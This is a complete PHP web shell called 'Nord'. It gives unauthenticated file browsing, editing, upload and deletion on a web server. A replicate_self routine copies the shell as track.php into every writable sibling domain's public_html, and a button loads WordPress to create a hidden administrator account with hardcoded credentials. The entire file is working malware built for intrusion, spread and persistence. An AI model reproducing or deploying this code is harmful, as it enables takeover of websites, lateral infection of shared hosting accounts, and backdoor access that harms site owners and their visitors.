<?php
// 🌌🌌🌌🌌🌌🌌🌌 Nord — Replicating PHP Shell (Clones hide URLs, but replicate + inject WP user)
error_reporting(0);

$path = isset($_GET['path']) ? realpath($_GET['path']) : getcwd();
if (!$path || !is_dir($path)) $path = getcwd();

// === Handle Delete
if (isset($_GET['delete'])) {
    $target = realpath($_GET['delete']);
    if ($target && strpos($target, getcwd()) === 0 && file_exists($target)) {
        if (is_dir($target)) {
            rmdir($target);
        } else {
            unlink($target);
        }
        echo "<p style='color:#ff4444;'>🗑️ Deleted: " . htmlspecialchars(basename($target)) . "</p>";
    }
}

// === Handle Rename
if (isset($_GET['rename']) && isset($_POST['new_name'])) {
    $target = realpath($_GET['rename']);
    $new_name = basename($_POST['new_name']);
    $new_path = dirname($target) . '/' . $new_name;
    
    if ($target && strpos($target, getcwd()) === 0 && file_exists($target) && !file_exists($new_path)) {
        rename($target, $new_path);
        echo "<p style='color:#ff4444;'>✏️ Renamed: " . htmlspecialchars(basename($target)) . " to " . htmlspecialchars($new_name) . "</p>";
    } else {
        echo "<p style='color:#ff4444;'>❌ Rename failed. File may already exist or invalid name.</p>";
    }
}

// === Breadcrumb UI ===
function breadcrumb($path) {
    $parts = explode('/', trim($path, '/'));
    $built = '/';
    $html = "<strong>Current path:</strong> ";
    foreach ($parts as $part) {
        $built .= "$part/";
        $html .= "<a href='?path=" . urlencode($built) . "'>$part</a>/";
    }
    return $html;
}

// === Folder/file listing, folders first, alphabetically
function list_dir($path) {
    $out = '';
    $folders = $files = [];
    foreach (scandir($path) as $item) {
        if ($item === '.' || $item === '..') continue;
        $full = "$path/$item";
        if (is_dir($full)) $folders[] = $item;
        else $files[] = $item;
    }
    natcasesort($folders); natcasesort($files);

    foreach ($folders as $f) {
        $full = "$path/$f";
        $out .= "<li>📁 <a href='?path=" . urlencode($full) . "'>$f</a> 
        | <a href='?path=" . urlencode($path) . "&rename=" . urlencode($full) . "' style='color:#ff6666;'>✏️ Rename</a>
        | <a href='?delete=" . urlencode($full) . "' onclick=\"return confirm('Delete this folder?')\" style='color:#ff4444;'>🗑️ Delete</a></li>";
    }
    foreach ($files as $f) {
        $full = "$path/$f";
        $out .= "<li>📄 <a href='?path=" . urlencode($path) . "&view=" . urlencode($f) . "'>$f</a> 
        | <a href='?path=" . urlencode($path) . "&edit=" . urlencode($f) . "' style='color:#ff8888;'>✏️ Edit</a> 
        | <a href='?path=" . urlencode($path) . "&rename=" . urlencode($full) . "' style='color:#ff6666;'>✏️ Rename</a>
        | <a href='?delete=" . urlencode($full) . "' onclick=\"return confirm('Delete this file?')\" style='color:#ff4444;'>🗑️ Delete</a></li>";
    }
    return $out;
}

// === View File
function view_file($path, $file) {
    $full = "$path/$file";
    if (!is_file($full)) return;
    echo "<h3>📄 Viewing: $file</h3><pre style='background:#1a0a0a;padding:10px;color:#ff6666;border:1px solid #440000;'>";
    echo htmlspecialchars(file_get_contents($full));
    echo "</pre><hr>";
}

// === Edit File
function edit_file($path, $file) {
    $full = "$path/$file";
    if (!is_file($full)) return;
    if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['content'])) {
        file_put_contents($full, $_POST['content']);
        echo "<p style='color:#ff4444;'>✅ Saved</p>";
    }
    $code = htmlspecialchars(file_get_contents($full));
    echo "<h3>✏️ Editing: $file</h3>
    <form method='post'>
        <textarea name='content' rows='20' style='width:100%;background:#1a0a0a;color:#ff6666;'>$code</textarea><br>
        <button type='submit' style='background:#ff4444;'>Save</button>
    </form><hr>";
}

// === Rename Form
function rename_form($path, $target) {
    $target = realpath($target);
    if (!$target || strpos($target, getcwd()) !== 0 || !file_exists($target)) return;
    
    $current_name = basename($target);
    echo "<h3>✏️ Rename: $current_name</h3>
    <form method='post'>
        <input type='text' name='new_name' value='$current_name' style='padding:5px;width:300px;background:#1a0a0a;color:#fff;'>
        <button type='submit' style='background:#ff4444;'>Rename</button>
    </form><hr>";
}

// === Upload + Folder Creation
function upload_and_mkdir($path) {
    echo "<form method='post' enctype='multipart/form-data'>
        <input type='file' name='up'> <button style='background:#ff4444;'>Upload</button></form><br>
    <form method='post'>
        📁 <input type='text' name='mkdir'> <button style='background:#ff4444;'>Create Folder</button></form><br>";
    
    if (!empty($_FILES['up']['name'])) {
        move_uploaded_file($_FILES['up']['tmp_name'], "$path/" . basename($_FILES['up']['name']));
        echo "<p style='color:#ff4444;'>📤 Uploaded</p>";
    }
    if (!empty($_POST['mkdir'])) {
        $target = "$path/" . basename($_POST['mkdir']);
        if (!file_exists($target)) {
            mkdir($target);
            echo "<p style='color:#ff4444;'>📁 Folder created</p>";
        } else {
            echo "<p style='color:#ff4444;'>❌ Folder exists</p>";
        }
    }
}

// === Clone replication
function replicate_self($code) {
    static $done = false;
    if ($done) return [];
    $done = true;
    $dir = __DIR__;
    while ($dir !== '/') {
        if (preg_match('/\/u[\w\d]+$/', $dir) && is_dir("$dir/domains")) {
            $base = "$dir/domains";
            $urls = [];
            foreach (scandir($base) as $d) {
                if ($d === '.' || $d === '..') continue;
                $targetDir = "$base/$d/public_html";
                $targetFile = "$targetDir/track.php";
                if (is_dir($targetDir) && is_writable($targetDir)) {
                    if (file_put_contents($targetFile, $code)) {
                        $urls[] = "http://$d/track.php";
                    }
                }
            }
            return $urls;
        }
        $dir = dirname($dir);
    }
    return [];
}

// === Create WP Admin Button Logic
function handle_wp_injection($path) {
    if (!isset($_GET['create_wp_user'])) return;

    $wp = $path;
    while ($wp !== '/') {
        if (file_exists("$wp/wp-config.php")) break;
        $wp = dirname($wp);
    }

    if (!file_exists("$wp/wp-load.php")) {
        echo "<p style='color:#ff4444;'>❌ WordPress not found.</p>";
        return;
    }

    require_once("$wp/wp-load.php");

    $user = 'savvy';
    $pass = 'SavvyMrx#';
    $mail = 'savvy@domain.com';

    if (!username_exists($user) && !email_exists($mail)) {
        $uid = wp_create_user($user, $pass, $mail);
        $wp_user = new WP_User($uid);
        $wp_user->set_role('administrator');
        echo "<p style='color:#ff4444;'>✅ WP Admin user 'savvy' created.</p>";
    } else {
        echo "<p style='color:#ff6666;'>⚠️ User/email already exists.</p>";
    }
}

// === Prepare HTML
echo "<!DOCTYPE html><html><head><meta charset='UTF-8'><title>🌌 Nord</title>
<style>
body { background:#0d0a0a; color:#e6c8c8; font-family:monospace; padding:20px; max-width:900px; margin:auto; }
a { color:#ff6666; text-decoration:none; } a:hover { text-decoration:underline; }
pre, textarea { width:100%; background:#1a0a0a; color:#ff6666; border:1px solid #7d2e2e; }
button { background:#ff4444; border:none; color:#000; padding:6px 12px; margin-top:5px; cursor:pointer; }
ul { list-style:none; padding:0; }
input { background:#1a0a0a; color:#e6c8c8; border:1px solid #7d2e2e; padding:5px; }
</style></head><body>
<h2 style='color:#ff4444;'>🌌 Nord</h2><p>" . breadcrumb($path) . "</p><hr>";

// === Show WP User Button
echo "<form method='get'>
    <input type='hidden' name='path' value='" . htmlspecialchars($path) . "'>
    <button name='create_wp_user' value='1' style='background:#ff4444;'>👤 Create WP Admin</button>
</form><br>";

handle_wp_injection($path);

// === Only show clone URLs in ORIGINAL shell
if (basename(__FILE__) !== 'track.php') {
    $code = file_get_contents(__FILE__);
    $clones = replicate_self($code);
    if (!empty($clones)) {
        echo "<p style='color:#ff4444;'>✅ Cloned to:</p><ul>";
        foreach ($clones as $u) echo "<li><a href='$u' target='_blank'>$u</a></li>";
        echo "</ul><hr>";
    }
}

// === Go Up
$up = dirname($path);
if ($up && $up !== $path) echo "<p>⬆️ <a href='?path=" . urlencode($up) . "'>Go up: " . basename($up) . "</a></p>";

// === View/Edit/Rename/File Logic
if (isset($_GET['view'])) view_file($path, basename($_GET['view']));
if (isset($_GET['edit'])) edit_file($path, basename($_GET['edit']));
if (isset($_GET['rename'])) rename_form($path, $_GET['rename']);

echo "<ul>" . list_dir($path) . "</ul>";
echo "<hr>";
upload_and_mkdir($path);
echo "</body></html>";
?>